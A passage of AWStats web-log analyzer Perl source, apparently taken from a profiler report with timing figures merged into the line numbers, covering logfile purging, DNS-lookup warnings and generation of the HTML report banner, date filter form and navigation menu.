7560 truncate(LOG,0) || warning("Warning: $bold$PROG$unbold couldn't purge logfile \"$bold$LogFile$unbold\".$br\nChange your logfile permissions to allow write for your web server CGI process or change PurgeLogFile=1 into PurgeLogFile=0 in configure file and think to purge sometimes manually your logfile (just after running an update process to not loose any not already processed records your log file contains).");
7561 }
7562 close(LOG);
7563 }
7564
7565 if ($DNSLookup==1 && $DNSLookupAlreadyDone) {
7566 # DNSLookup warning
7567 my $bold=($ENV{'GATEWAY_INTERFACE'}?'<b>':'');
7568 my $unbold=($ENV{'GATEWAY_INTERFACE'}?'</b>':'');
7569 my $br=($ENV{'GATEWAY_INTERFACE'}?'<br />':'');
7570 warning("Warning: $bold$PROG$unbold has detected that some hosts names were already resolved in your logfile $bold$DNSLookupAlreadyDone$unbold.$br\nIf DNS lookup was already made by the logger (web server), you should change your setup DNSLookup=$DNSLookup into DNSLookup=0 to increase $PROG speed.");
7571 }
7572 if ($DNSLookup==1 && $NbOfNewLines) {
7573 # Save new DNS last update cache file
7574 Save_DNS_Cache_File(\%TmpDNSLookup,"$DirData/$DNSLastUpdateCacheFile","$FileSuffix"); # Save into file using FileSuffix
7575 }
7576
757723.3e-51.7e-5 if ($EnableLockForUpdate) {
7578 # Remove lock
7579 &Lock_Update(0);
# spent 32.3ms making 1 call to main::Lock_Update
7580 # Restore signals handler
7581 $SIG{INT} = 'DEFAULT'; # 2
7582 #$SIG{KILL} = 'DEFAULT'; # 9
7583 #$SIG{TERM} = 'DEFAULT'; # 15
7584 }
7585
7586}
7587# End of log processing if ($UPdateStats)
7588
7589
7590#---------------------------------------------------------------------
7591# SHOW REPORT
7592#---------------------------------------------------------------------
7593
759480.000880.00011if (scalar keys %HTMLOutput) {
7595
7596 debug("YearRequired=$YearRequired, MonthRequired=$MonthRequired",2);
7597 debug("DayRequired=$DayRequired, HourRequired=$HourRequired",2);
7598
7599 my $max_p; my $max_h; my $max_k; my $max_v;
7600 my $total_u; my $total_v; my $total_p; my $total_h; my $total_k; my $total_e; my $total_x; my $total_s; my $total_l; my $total_r;
7601 my $average_u; my $average_v; my $average_p; my $average_h; my $average_k; my $average_s;
7602 my $rest_p; my $rest_h; my $rest_k; my $rest_e; my $rest_x; my $rest_s; my $rest_l; my $rest_r;
7603 my $average_nb;
7604
7605 # Define the NewLinkParams for main chart
7606 my $NewLinkParams=${QueryString};
7607 $NewLinkParams =~ s/(^|&|&amp;)update(=\w*|$)//i;
7608 $NewLinkParams =~ s/(^|&|&amp;)output(=\w*|$)//i;
7609 $NewLinkParams =~ s/(^|&|&amp;)staticlinks(=\w*|$)//i;
7610 $NewLinkParams =~ s/(^|&|&amp;)framename=[^&]*//i;
7611 my $NewLinkTarget='';
7612 if ($DetailedReportsOnNewWindows) { $NewLinkTarget=" target=\"awstatsbis\""; }
7613 if (($FrameName eq 'mainleft' || $FrameName eq 'mainright') && $DetailedReportsOnNewWindows < 2) {
7614 $NewLinkParams.="&amp;framename=mainright";
7615 $NewLinkTarget=" target=\"mainright\"";
7616 }
7617 $NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
7618 $NewLinkParams =~ s/^&amp;//; $NewLinkParams =~ s/&amp;$//;
7619 if ($NewLinkParams) { $NewLinkParams="${NewLinkParams}&amp;"; }
7620
7621 if ($FrameName ne 'mainleft') {
7622
7623 # READING DATA
7624 #-------------
7625 &Init_HashArray();
7626
7627 # Lecture des fichiers history
7628 if ($DatabaseBreak eq 'month') {
7629 for (my $ix=12; $ix>=1; $ix--) {
7630 my $stringforload='';
7631 my $monthix=sprintf("%02s",$ix);
7632 if ($MonthRequired eq 'all' || $monthix eq $MonthRequired) {
7633 $stringforload='all'; # Read full history file
7634 }
7635 elsif (($HTMLOutput{'main'} && $ShowMonthStats) || $HTMLOutput{'alldays'}) {
7636 $stringforload='general time'; # Read general and time sections.
7637 }
7638 if ($stringforload) {
7639 # On charge fichier
7640 &Read_History_With_TmpUpdate($YearRequired,$monthix,'','',0,0,$stringforload);
7641 }
7642 }
7643 }
7644 if ($DatabaseBreak eq 'day') {
7645 my $stringforload='all';
7646 my $monthix=sprintf("%02s",$MonthRequired);
7647 my $dayix=sprintf("%02s",$DayRequired);
7648 &Read_History_With_TmpUpdate($YearRequired,$monthix,$dayix,'',0,0,$stringforload);
7649 }
7650 if ($DatabaseBreak eq 'hour') {
7651 my $stringforload='all';
7652 my $monthix=sprintf("%02s",$MonthRequired);
7653 my $dayix=sprintf("%02s",$DayRequired);
7654 my $hourix=sprintf("%02s",$HourRequired);
7655 &Read_History_With_TmpUpdate($YearRequired,$monthix,$dayix,$hourix,0,0,$stringforload);
7656 }
7657
7658 }
7659
7660 # HTMLHeadSection
7661 if ($FrameName ne 'index' && $FrameName ne 'mainleft') {
7662 print "<a name=\"top\">&nbsp;</a>\n\n";
7663 print "$HTMLHeadSection\n";
7664 print "\n";
7665 }
7666
7667 # Call to plugins' function AddHTMLBodyHeader
7668 foreach my $pluginname (keys %{$PluginsLoaded{'AddHTMLBodyHeader'}}) {
7669# my $function="AddHTMLBodyHeader_$pluginname()";
7670# eval("$function");
7671 my $function="AddHTMLBodyHeader_$pluginname";
7672 &$function();
7673 }
7674
7675 my $WIDTHMENU1=($FrameName eq 'mainleft'?$FRAMEWIDTH:150);
7676
7677 # TOP BAN
7678 #---------------------------------------------------------------------
7679 if ($ShowMenu || $FrameName eq 'mainleft') {
7680 my $frame=($FrameName eq 'mainleft');
7681
7682 if ($Debug) { debug("ShowTopBan",2); }
7683 print "$Center<a name=\"menu\">&nbsp;</a>\n";
7684
7685 if ($FrameName ne 'mainleft') {
7686 my $NewLinkParams=${QueryString};
7687 $NewLinkParams =~ s/(^|&|&amp;)update(=\w*|$)//i;
7688 $NewLinkParams =~ s/(^|&|&amp;)staticlinks(=\w*|$)//i;
7689 $NewLinkParams =~ s/(^|&|&amp;)year=[^&]*//i;
7690 $NewLinkParams =~ s/(^|&|&amp;)month=[^&]*//i;
7691 $NewLinkParams =~ s/(^|&|&amp;)framename=[^&]*//i;
7692 $NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
7693 $NewLinkParams =~ s/^&amp;//; $NewLinkParams =~ s/&amp;$//;
7694 my $NewLinkTarget='';
7695 if ($FrameName eq 'mainright') { $NewLinkTarget=" target=\"_parent\""; }
7696 print "<form name=\"FormDateFilter\" action=\"".XMLEncode("$AWScript?${NewLinkParams}")."\" style=\"padding: 0px 0px 0px 0px; margin-top: 0\"$NewLinkTarget>\n";
7697 }
7698
7699 if ($QueryString !~ /buildpdf/i) {
7700 print "<table class=\"aws_border\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">\n";
7701 print "<tr><td>\n";
7702 print "<table class=\"aws_data\" border=\"0\" cellpadding=\"1\" cellspacing=\"0\" width=\"100%\">\n";
7703 }
7704 else {
7705 print "<table width=\"100%\">\n";
7706 }
7707
7708 if ($FrameName ne 'mainright') {
7709 # Print Statistics Of
7710 if ($FrameName eq 'mainleft') {
7711 my $shortSiteDomain=$SiteDomain;
7712 if (length($SiteDomain) > 30) { $shortSiteDomain=substr($SiteDomain,0,20)."...".substr($SiteDomain,length($SiteDomain)-5,5); }
7713 print "<tr><td class=\"awsm\"><b>$Message[7]:</b></td></tr><tr><td class=\"aws\"><span style=\"font-size: 12px;\">$shortSiteDomain</span></td>";
7714 }
7715 else { print "<tr><td class=\"aws\" valign=\"middle\"><b>$Message[7]:</b>&nbsp;</td><td class=\"aws\" valign=\"middle\"><span style=\"font-size: 14px;\">$SiteDomain</span></td>"; }
7716
7717 # Logo and flags
7718 if ($FrameName ne 'mainleft') {
7719 if ($LogoLink =~ "http://awstats.sourceforge.net") {
7720 print "<td align=\"right\" rowspan=\"3\"><a href=\"".XMLEncode($LogoLink)."\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\"".AltTitle(ucfirst($PROG)." Web Site")." /></a>";
7721 }
7722 else {
7723 print "<td align=\"right\" rowspan=\"3\"><a href=\"".XMLEncode($LogoLink)."\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\" /></a>";
7724 }
7725 if (! $StaticLinks) { print "<br />"; Show_Flag_Links($Lang); }
7726 print "</td>";
7727 }
7728 print "</tr>\n";
7729 }
7730 if ($FrameName ne 'mainleft') {
7731 # Print Last Update
7732 print "<tr valign=\"middle\"><td class=\"aws\" valign=\"middle\" width=\"$WIDTHMENU1\"><b>$Message[35]:</b>&nbsp;</td>";
7733 print "<td class=\"aws\" valign=\"middle\"><span style=\"font-size: 12px;\">";
7734 if ($LastUpdate) { print Format_Date($LastUpdate,0); }
7735 else {
7736 # Here NbOfOldLines = 0 (because LastUpdate is not defined)
7737 if (! $UpdateStats) { print "<span style=\"color: #880000\">$Message[24]</span>"; }
7738 else { print "<span style=\"color: #880000\">No qualified records found in log ($NbOfLinesCorrupted corrupted, $NbOfLinesDropped dropped)</span>"; }
7739
7740 }
7741 print "</span>";
7742 # Print Update Now link
7743 if ($AllowToUpdateStatsFromBrowser && ! $StaticLinks) {
7744 my $NewLinkParams=${QueryString};
7745 $NewLinkParams =~ s/(^|&|&amp;)update(=\w*|$)//i;
7746 $NewLinkParams =~ s/(^|&|&amp;)staticlinks(=\w*|$)//i;
7747 $NewLinkParams =~ s/(^|&|&amp;)framename=[^&]*//i;
7748 if ($FrameName eq 'mainright') { $NewLinkParams.="&amp;framename=mainright"; }
7749 $NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
7750 $NewLinkParams =~ s/^&amp;//; $NewLinkParams =~ s/&amp;$//;
7751 if ($NewLinkParams) { $NewLinkParams="${NewLinkParams}&amp;"; }
7752 print "&nbsp; &nbsp; &nbsp; &nbsp;";
7753 print "<a href=\"".XMLEncode("$AWScript?${NewLinkParams}update=1")."\">$Message[74]</a>";
7754 }
7755 print "</td>";
7756
7757 # Logo and flags
7758 if ($FrameName eq 'mainright') {
7759 if ($LogoLink =~ "http://awstats.sourceforge.net") {
7760 print "<td align=\"right\" rowspan=\"2\"><a href=\"".XMLEncode($LogoLink)."\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\"".AltTitle(ucfirst($PROG)." Web Site")." /></a>\n";
7761 }
7762 else {
7763 print "<td align=\"right\" rowspan=\"2\"><a href=\"".XMLEncode($LogoLink)."\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\" /></a>\n";
7764 }
7765 if (! $StaticLinks) { print "<br />"; Show_Flag_Links($Lang); }
7766 print "</td>";
7767 }
7768
7769 print "</tr>\n";
7770 # Print selected period of analysis (month and year required)
7771 print "<tr><td class=\"aws\" valign=\"middle\"><b>$Message[133]:</b></td>";
7772 print "<td class=\"aws\" valign=\"middle\">";
7773 if ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) {
7774 print "<select class=\"aws_formfield\" name=\"month\">\n";
7775 foreach (1..12) { my $monthix=sprintf("%02s",$_); print "<option".($MonthRequired eq "$monthix"?" selected=\"true\"":"")." value=\"$monthix\">$MonthNumLib{$monthix}</option>\n"; }
7776 if ($AllowFullYearView >= 2) {
7777 print "<option".($MonthRequired eq 'all'?" selected=\"true\"":"")." value=\"all\">- $Message[6] -</option>\n";
7778 }
7779 print "</select>\n";
7780 print "<select class=\"aws_formfield\" name=\"year\">\n";
7781 # Add YearRequired in list if not in ListOfYears
7782 $ListOfYears{$YearRequired}||=$MonthRequired;
7783 foreach (sort keys %ListOfYears) { print "<option".($YearRequired eq "$_"?" selected=\"true\"":"")." value=\"$_\">$_</option>\n"; }
7784 print "</select>\n";
7785 print "<input type=\"hidden\" name=\"output\" value=\"".join(',',keys %HTMLOutput)."\" />\n";
7786 if ($SiteConfig) { print "<input type=\"hidden\" name=\"config\" value=\"$SiteConfig\" />\n"; }
7787 if ($DirConfig) { print "<input type=\"hidden\" name=\"configdir\" value=\"$DirConfig\" />\n"; }
7788 if ($QueryString =~ /lang=(\w+)/i) { print "<input type=\"hidden\" name=\"lang\" value=\"$1\" />\n"; }
7789 if ($QueryString =~ /debug=(\d+)/i) { print "<input type=\"hidden\" name=\"debug\" value=\"$1\" />\n"; }
7790 if ($FrameName eq 'mainright') { print "<input type=\"hidden\" name=\"framename\" value=\"index\" />\n"; }
7791 print "<input type=\"submit\" value=\" $Message[115] \" class=\"aws_button\" />";
7792 }
7793 else {
7794 print "<span style=\"font-size: 14px;\">";
7795 if ($DayRequired) { print "$Message[4] $DayRequired - "; }
7796 if ($MonthRequired eq 'all') { print "$Message[6] $YearRequired"; }
7797 else { print "$Message[5] $MonthNumLib{$MonthRequired} $YearRequired"; }
7798 print "</span>";
7799 }
7800 print "</td></tr>\n";
7801 }
7802 if ($QueryString !~ /buildpdf/i) {
7803 print "</table>\n";
7804 print "</td></tr></table>\n";
7805 }
7806 else {
7807 print "</table>\n";
7808 }
7809
7810 if ($FrameName ne 'mainleft') { print "</form>\n"; }
7811 else { print "<br />\n"; }
7812 print "\n";
7813 }
7814
7815 # Call to plugins' function AddHTMLMenuHeader
7816 foreach my $pluginname (keys %{$PluginsLoaded{'AddHTMLMenuHeader'}}) {
7817# my $function="AddHTMLMenuHeader_$pluginname()";
7818# eval("$function");
7819 my $function="AddHTMLMenuHeader_$pluginname";
7820 &$function();
7821 }
7822
7823 # MENU
7824 #---------------------------------------------------------------------
7825 if ($ShowMenu || $FrameName eq 'mainleft') {
7826 my $frame=($FrameName eq 'mainleft');
7827
7828 if ($Debug) { debug("ShowMenu",2); }
7829
7830 # Print menu links
7831 if (($HTMLOutput{'main'} && $FrameName ne 'mainright') || $FrameName eq 'mainleft') { # If main page asked
7832 # Define link anchor
7833 my $linkanchor=($FrameName eq 'mainleft'?"$AWScript?${NewLinkParams}":"");
7834 if ($linkanchor && ($linkanchor !~ /framename=mainright/)) { $linkanchor.="framename=mainright"; }
7835 $linkanchor =~ s/(&|&amp;)$//; $linkanchor=XMLEncode("$linkanchor");
7836 # Define target
7837 my $targetpage=($FrameName eq 'mainleft'?" target=\"mainright\"":"");
7838 # Print Menu
7839 my $linetitle; # TODO a virer
7840 if (! $PluginsLoaded{'ShowMenu'}{'menuapplet'}) {
7841 my $menuicon=0; # TODO a virer
7842 # Menu HTML
7843 print "<table".($frame?" cellspacing=\"0\" cellpadding=\"0\" border=\"0\"":"").">\n";
7844 if ($FrameName eq 'mainleft' && $ShowMonthStats) { print ($frame?"<tr><td class=\"awsm\">":""); print "<a href=\"$linkanchor#top\"$targetpage>$Message[128]</a>"; print ($frame?"</td></tr>\n":" &nbsp; "); }
7845 my %menu=(); my %menulink=(); my %menutext=();
7846 # When
7847 %menu=('month'=>$ShowMonthStats?1:0,'daysofmonth'=>$ShowDaysOfMonthStats?2:0,'daysofweek'=>$ShowDaysOfWeekStats?3:0,'hours'=>$ShowHoursStats?4:0);
7848 %menulink=('month'=>1,'daysofmonth'=>1,'daysofweek'=>1,'hours'=>1);
7849 %menutext=('month'=>$Message[162],'daysofmonth'=>$Message[138],'daysofweek'=>$Message[91],'hours'=>$Message[20]);
7850 ShowMenuCateg('when',$Message[93],'menu4.png',$frame,$targetpage,$linkanchor,$NewLinkParams,$NewLinkTarget,\%menu,\%menulink,\%menutext);
7851 # Who
7852 %menu=('countries'=>$ShowDomainsStats?1:0,'alldomains'=>$ShowDomainsStats?2:0,'visitors'=>$ShowHostsStats?3:0,'allhosts'=>$ShowHostsStats?4:0,'lasthosts'=>($ShowHostsStats =~ /L/i)?5:0,'unknownip'=>$ShowHostsStats?6:0,'logins'=>$ShowAuthenticatedUsers?7:0,'alllogins'=>$ShowAuthenticatedUsers?8:0,'lastlogins'=>($ShowAuthenticatedUsers =~ /L/i)?9:0,'emailsenders'=>$ShowEMailSenders?10:0,'allemails'=>$ShowEMailSenders?11:0,'lastemails'=>($ShowEMailSenders =~ /L/i)?12:0,'emailreceivers'=>$ShowEMailReceivers?13:0,'allemailr'=>$ShowEMailReceivers?14:0,'lastemailr'=>($ShowEMailReceivers =~ /L/i)?15:0,'robots'=>$ShowRobotsStats?16:0,'allrobots'=>$ShowRobotsStats?17:0,'lastrobots'=>($ShowRobotsStats =~ /L/i)?18:0,'worms'=>$ShowWormsStats?19:0);
7853 %menulink=('countries'=>1,'alldomains'=>2,'visitors'=>1,'allhosts'=>2,'lasthosts'=>2,'unknownip'=>2,'logins'=>1,'alllogins'=>2,'lastlogins'=>2,'emailsenders'=>1,'allemails'=>2,'lastemails'=>2,'emailreceivers'=>1,'allemailr'=>2,'lastemailr'=>2,'robots'=>1,'allrobots'=>2,'lastrobots'=>2,'worms'=>1);
7854 %menutext=('countries'=>$Message[148],'alldomains'=>$Message[80],'visitors'=>$Message[81],'allhosts'=>$Message[80],'lasthosts'=>$Message[9],'unknownip'=>$Message[45],'logins'=>$Message[94],'alllogins'=>$Message[80],'lastlogins'=>$Message[9],'emailsenders'=>$Message[131],'allemails'=>$Message[80],'lastemails'=>$Message[9],'emailreceivers'=>$Message[132],'allemailr'=>$Message[80],'lastemailr'=>$Message[9],'robots'=>$Message[53],'allrobots'=>$Message[80],'lastrobots'=>$Message[9],'worms'=>$Message[136]);
7855 ShowMenuCateg('who',$Message[92],'menu5.png',$frame,$targetpage,$linkanchor,$NewLinkParams,$NewLinkTarget,\%menu,\%menulink,\%menutext);
7856 # Navigation
7857 $linetitle=&AtLeastOneNotNull($ShowSessionsStats,$ShowPagesStats,$ShowFileTypesStats,$ShowFileSizesStats,$ShowOSStats,$ShowBrowsersStats,$ShowScreenSizeStats);
7858 if ($linetitle) { print "<tr><td class=\"awsm\"".($frame?"":" valign=\"top\"").">".($menuicon?"<img src=\"$DirIcons/other/menu2.png\" />&nbsp;":"")."<b>$Message[72]:</b></td>\n"; }
7859 if ($linetitle) { print ($frame?"</tr>\n":"<td class=\"awsm\">"); }
7860 if ($ShowSessionsStats) { print ($frame?"<tr><td class=\"awsm\">":""); print "<a href=\"$linkanchor#sessions\"$targetpage>$Message[117]</a>"; print ($frame?"</td></tr>\n":" &nbsp; "); }
7861 if ($ShowFileTypesStats) { print ($frame?"<tr><td class=\"awsm\">":""); print "<a href=\"$linkanchor#filetypes\"$targetpage>$Message[73]</a>"; print ($frame?"</td></tr>\n":" &nbsp; "); }
7862 if ($ShowPagesStats) { print ($frame?"<tr><td class=\"awsm\">":""); print "<a href=\"$linkanchor#urls\"$targetpage>$Message[29]</a>\n"; print ($frame?"</td></tr>\n":" &nbsp; "); }
7863 if ($ShowPagesStats) { print ($frame?"<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> ":""); print "<a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=urldetail"):"$PROG$StaticLinks.urldetail.$StaticExt")."\"$NewLinkTarget>$Message[80]</a>\n"; print ($frame?"</td></tr>\n":" &nbsp; "); }
7864 if ($ShowPagesStats =~ /E/i) { print ($frame?"<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> ":""); print "<a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=urlentry"):"$PROG$StaticLinks.urlentry.$StaticExt")."\"$NewLinkTarget>$Message[104]</a>\n"; print ($frame?"</td></tr>\n":" &nbsp; "); }
7865 if ($ShowPagesStats =~ /X/i) { print ($frame?"<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> ":""); print "<a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=urlexit"):"$PROG$StaticLinks.urlexit.$StaticExt")."\"$NewLinkTarget>$Message[116]</a>\n"; print ($frame?"</td></tr>\n":" &nbsp; "); }
7866 if ($ShowOSStats) { print ($frame?"<tr><td class=\"awsm\">":""); print "<a href=\"$linkanchor#os\"$targetpage>$Message[59]</a>"; print ($frame?"</td></tr>\n":" &nbsp; "); }
7867 if ($ShowOSStats) { print ($frame?"<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> ":""); print "<a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=osdetail"):"$PROG$StaticLinks.osdetail.$StaticExt")."\"$NewLinkTarget>$Message[58]</a>\n"; print ($frame?"</td></tr>\n":" &nbsp; "); }
7868 if ($ShowOSStats) { print ($frame?"<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> ":""); print "<a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=unknownos"):"$PROG$StaticLinks.unknownos.$StaticExt")."\"$NewLinkTarget>$Message[0]</a>\n"; print ($frame?"</td></tr>\n":" &nbsp; "); }
7869 if ($ShowBrowsersStats) { print ($frame?"<tr><td class=\"awsm\">":""); print "<a href=\"$linkanchor#browsers\"$targetpage>$Message[21]</a>"; print ($frame?"</td></tr>\n":" &nbsp; "); }
7870 if ($ShowBrowsersStats) { print ($frame?"<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> ":""); print "<a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=browserdetail"):"$PROG$StaticLinks.browserdetail.$StaticExt")."\"$NewLinkTarget>$Message[58]</a>\n"; print ($frame?"</td></tr>\n":" &nbsp; "); }
7871 if ($ShowBrowsersStats) { print ($frame?"<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> ":""); print "<a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=unknownbrowser"):"$PROG$StaticLinks.unknownbrowser.$StaticExt")."\"$NewLinkTarget>$Message[0]</a>\n"; print ($frame?"</td></tr>\n":" &nbsp; "); }
7872 if ($ShowScreenSizeStats) { print ($frame?"<tr><td class=\"awsm\">":""); print "<a href=\"$linkanchor#screensizes\"$targetpage>$Message[135]</a>"; print ($frame?"</td></tr>\n":" &nbsp; "); }
7873 if ($linetitle) { print ($frame?"":"</td></tr>\n"); }
7874 # Referers
7875 %menu=('referer'=>$ShowOriginStats?1:0,'refererse'=>$ShowOriginStats?2:0,'refererpages'=>$ShowOriginStats?3:0,'keys'=>($ShowKeyphrasesStats || $ShowKeywordsStats)?4:0,'keyphrases'=>$ShowKeyphrasesStats?5:0,'keywords'=>$ShowKeywordsStats?6:0);
7876 %menulink=('referer'=>1,'refererse'=>2,'refererpages'=>2,'keys'=>1,'keyphrases'=>2,'keywords'=>2);
7877 %menutext=('referer'=>$Message[37],'refererse'=>$Message[126],'refererpages'=>$Message[127],'keys'=>$Message[14],'keyphrases'=>$Message[120],'keywords'=>$Message[121]);
7878 ShowMenuCateg('referers',$Message[23],'menu7.png',$frame,$targetpage,$linkanchor,$NewLinkParams,$NewLinkTarget,\%menu,\%menulink,\%menutext);
7879 # Others
7880 %menu=('filetypes'=>($ShowFileTypesStats =~ /C/i)?1:0,'misc'=>$ShowMiscStats?2:0,'errors'=>($ShowHTTPErrorsStats||$ShowSMTPErrorsStats)?3:0,'clusters'=>$ShowClusterStats?5:0);
7881 %menulink=('filetypes'=>1,'misc'=>1,'errors'=>1,'clusters'=>1);
7882 %menutext=('filetypes'=>$Message[98],'misc'=>$Message[139],'errors'=>($ShowSMTPErrorsStats?$Message[147]:$Message[32]),'clusters'=>$Message[155]);
7883 foreach (keys %TrapInfosForHTTPErrorCodes) {
7884 $menu{"errors$_"}=$ShowHTTPErrorsStats?4:0;
7885 $menulink{"errors$_"}=2;
7886 $menutext{"errors$_"}=$Message[31];
7887 }
7888 ShowMenuCateg('others',$Message[2],'menu8.png',$frame,$targetpage,$linkanchor,$NewLinkParams,$NewLinkTarget,\%menu,\%menulink,\%menutext);
7889 # Extra/Marketing
7890 %menu=();
7891 %menulink=();
7892 %menutext=();
7893 foreach (1..@ExtraName-1) {
7894 $menu{"extra$_"}=1;
7895 $menulink{"extra$_"}=1;
7896 $menutext{"extra$_"}=$ExtraName[$_];
7897 }
7898 ShowMenuCateg('extra',$Message[134],'',$frame,$targetpage,$linkanchor,$NewLinkParams,$NewLinkTarget,\%menu,\%menulink,\%menutext);
7899 print "</table>\n";
7900 }
7901 else {
7902 # Menu Applet
7903 if ($frame) { }
7904 else {}
7905 }
7906 #print ($frame?"":"<br />\n");
7907 print "<br />\n";
7908 }
7909 # Print Back link
7910 elsif (! $HTMLOutput{'main'}) {
7911 print "<table>\n";
7912 $NewLinkParams =~ s/(^|&|&amp;)hostfilter=[^&]*//i;
7913 $NewLinkParams =~ s/(^|&|&amp;)urlfilter=[^&]*//i;
7914 $NewLinkParams =~ s/(^|&|&amp;)refererpagesfilter=[^&]*//i;
7915 $NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
7916 $NewLinkParams =~ s/^&amp;//; $NewLinkParams =~ s/&amp;$//;
7917 if (! $DetailedReportsOnNewWindows || $FrameName eq 'mainright' || $QueryString =~ /buildpdf/i) {
7918 print "<tr><td class=\"aws\"><a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript".(${NewLinkParams}?"?${NewLinkParams}":"")):"$PROG$StaticLinks.$StaticExt")."\">$Message[76]</a></td></tr>\n";
7919 }
7920 else {
7921 print "<tr><td class=\"aws\"><a href=\"javascript:parent.window.close();\">$Message[118]</a></td></tr>\n";
7922 }
7923 print "</table>\n";
7924 print "\n";
7925 }
7926 }
7927
7928 # Call to plugins' function AddHTMLMenuFooter
7929 foreach my $pluginname (keys %{$PluginsLoaded{'AddHTMLMenuFooter'}}) {
7930# my $function="AddHTMLMenuFooter_$pluginname()";
7931# eval("$function");
7932 my $function="AddHTMLMenuFooter_$pluginname";
7933 &$function();
7934 }
7935
7936 # Exit if left frame
7937 if ($FrameName eq 'mainleft') {
7938 &html_end(0);
7939 exit 0;
7940 }
7941
7942 # FirstTime LastTime
7943 my $FirstTime=0;
7944 my $LastTime=0;
7945 foreach my $key (keys %FirstTime) {
7946 my $keyqualified=0;
7947 if ($MonthRequired eq 'all') { $keyqualified=1; }
7948 if ($key =~ /^$YearRequired$MonthRequired/) { $keyqualified=1; }
7949 if ($keyqualified) {
7950 if ($FirstTime{$key} && ($FirstTime == 0 || $FirstTime > $FirstTime{$key})) { $FirstTime = $FirstTime{$key}; }
7951 if ($LastTime < ($LastTime{$key}||0)) { $LastTime = $LastTime{$key}; }
7952 }
7953 }
7954
7955 # TotalVisits TotalUnique TotalPages TotalHits TotalBytes TotalHostsKnown TotalHostsUnknown
7956 $TotalUnique=$TotalVisits=$TotalPages=$TotalHits=$TotalBytes=0;
7957 $TotalNotViewedPages=$TotalNotViewedHits=$TotalNotViewedBytes=0;
7958 $TotalHostsKnown=$TotalHostsUnknown=0;
7959 my $beginmonth=$MonthRequired;my $endmonth=$MonthRequired;
7960 if ($MonthRequired eq 'all') { $beginmonth=1;$endmonth=12; }
7961 for (my $month=$beginmonth; $month<=$endmonth; $month++) {
7962 my $monthix=sprintf("%02s",$month);
7963 $TotalHostsKnown+=$MonthHostsKnown{$YearRequired.$monthix}||0; # Wrong in year view
7964 $TotalHostsUnknown+=$MonthHostsUnknown{$YearRequired.$monthix}||0; # Wrong in year view
7965 $TotalUnique+=$MonthUnique{$YearRequired.$monthix}||0; # Wrong in year view
7966 $TotalVisits+=$MonthVisits{$YearRequired.$monthix}||0; # Not completely true
7967 $TotalPages+=$MonthPages{$YearRequired.$monthix}||0;
7968 $TotalHits+=$MonthHits{$YearRequired.$monthix}||0;
7969 $TotalBytes+=$MonthBytes{$YearRequired.$monthix}||0;
7970 $TotalNotViewedPages+=$MonthNotViewedPages{$YearRequired.$monthix}||0;
7971 $TotalNotViewedHits+=$MonthNotViewedHits{$YearRequired.$monthix}||0;
7972 $TotalNotViewedBytes+=$MonthNotViewedBytes{$YearRequired.$monthix}||0;
7973 }
7974 # TotalHitsErrors TotalBytesErrors
7975 my $TotalHitsErrors=0; my $TotalBytesErrors=0;
7976 foreach (keys %_errors_h) {
7977# print "xxxx".$_." zzz".$_errors_h{$_};
7978 $TotalHitsErrors+=$_errors_h{$_};
7979 $TotalBytesErrors+=$_errors_k{$_};
7980 }
7981 # TotalEntries (if not already specifically counted, we init it from _url_e hash table)
7982 if (!$TotalEntries) { foreach (keys %_url_e) { $TotalEntries+=$_url_e{$_}; } }
7983 # TotalExits (if not already specifically counted, we init it from _url_x hash table)
7984 if (!$TotalExits) { foreach (keys %_url_x) { $TotalExits+=$_url_x{$_}; } }
7985 # TotalBytesPages (if not already specifically counted, we init it from _url_k hash table)
7986 if (!$TotalBytesPages) { foreach (keys %_url_k) { $TotalBytesPages+=$_url_k{$_}; } }
7987 # TotalKeyphrases (if not already specifically counted, we init it from _keyphrases hash table)
7988 if (!$TotalKeyphrases) { foreach (keys %_keyphrases) { $TotalKeyphrases+=$_keyphrases{$_}; } }
7989 # TotalKeywords (if not already specifically counted, we init it from _keywords hash table)
7990 if (!$TotalKeywords) { foreach (keys %_keywords) { $TotalKeywords+=$_keywords{$_}; } }
7991 # TotalSearchEnginesPages (if not already specifically counted, we init it from _se_referrals_p hash table)
7992 if (!$TotalSearchEnginesPages) { foreach (keys %_se_referrals_p) { $TotalSearchEnginesPages+=$_se_referrals_p{$_}; } }
